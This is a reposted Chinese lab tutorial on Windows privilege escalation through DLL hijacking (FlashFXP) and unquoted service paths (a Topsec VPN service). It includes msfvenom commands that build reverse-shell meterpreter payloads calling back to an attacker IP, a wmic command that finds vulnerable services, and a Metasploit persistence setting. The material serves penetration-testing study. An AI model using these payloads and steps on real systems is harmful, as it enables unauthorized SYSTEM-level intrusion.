【转】Windows提权---DLL注入/不带引号的服务路径

一、DLL注入提权 

        Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)

        这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

参考文章:DLL劫持原理及其漏洞挖掘(一) - 安全客,安全资讯平台

利用条件比较鸡肋,需要满足以下条件才能成功...

1)这个软件可以被利用
2)有权限替换dll文件
3)受害者会运行与这个dll文件相关的软件

FlashFXP DLL劫持 

利用思路:通过webshell进行信息收集,制作dll木马并上传,替换dll,启动应用后成功反弹shell....

实验环境

操作系统

软件/角色

Wins08R2

FlashFXP 4.4.2绿色版/受害机

Kali 2022

MSF/攻击机

 步骤一:通过火绒剑分析FlashFXP程序的DLL,找到非系统DLL文件就可以退出FlashFXP程序....

步骤二:使用MSF生成恶意的DLL文件并替换FlashFXP中的源文件....libeay32.dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=5555 -f dll >./hack.dll

步骤三:MSF开启监听并运行FlashFXP...成功拿到会话..

 步骤四:令牌窃取提权....

二、不带引号的服务路径提权

步骤一:在windows中存在这样一个情况,如果1个路径,或者文件中存在空格,需要将其使用双引号括住....才能正确被系统识别出来。如下:

步骤二:第1个命令没有用双引号括住,导致系统误认为C:\Program是个程序,Files (x86)是参数,从而出现了异常,不过,上面的操作是在powshell发生了异常,但是在cmd中,是不会报错的....

步骤三:攻击思路就是:找出服务中,既存在空格路径,还没有用双引号括住的路径。然后制造误会,让服务启动错误的程序,即可拿到system的shell....

1)路径中有空格

2)路径中没有用双引号包住

3)可以写入到文件到此路径下

复现:天融信下一代VPN不安全服务路径提权

操作系统

服务/角色

Wins19

天融信/不安全服务

Kali 2022

MSF/攻击机

步骤一:使用以下命令获取服务中存在空格,可能不安全的服务

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

步骤二:可以看到,我这里存在一个不安全的服务,是关于vpn的。所以,接下来就是MSF生成名为Program.exe的后门文件,放在c盘根目录下即可。启动服务的时候,为什么能发生攻击呢?路径没有包含在引号中,服务会按照以下顺序依次执行

c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe

步骤三:使用MSF生成名为Program.exe的木马并开启监听....并将木马放到受害者的C盘根目录下... 

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113  lport=4444 -f exe >./Program.exe

步骤四:发现程序的服务正在运行...重启服务(视真实环境中的真实权限而定...不能重启服务就等重启电脑...)

步骤五:在MSF中可以看到拿到的会话...

步骤六:最后服务是无法启动的...因为电脑已经找不到正确的程序....等他报错时会话就会断开...

所以实战中需要快速进行权限维持...使用上面迁移进程的方式...

set AutoRunScript migrate -f

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值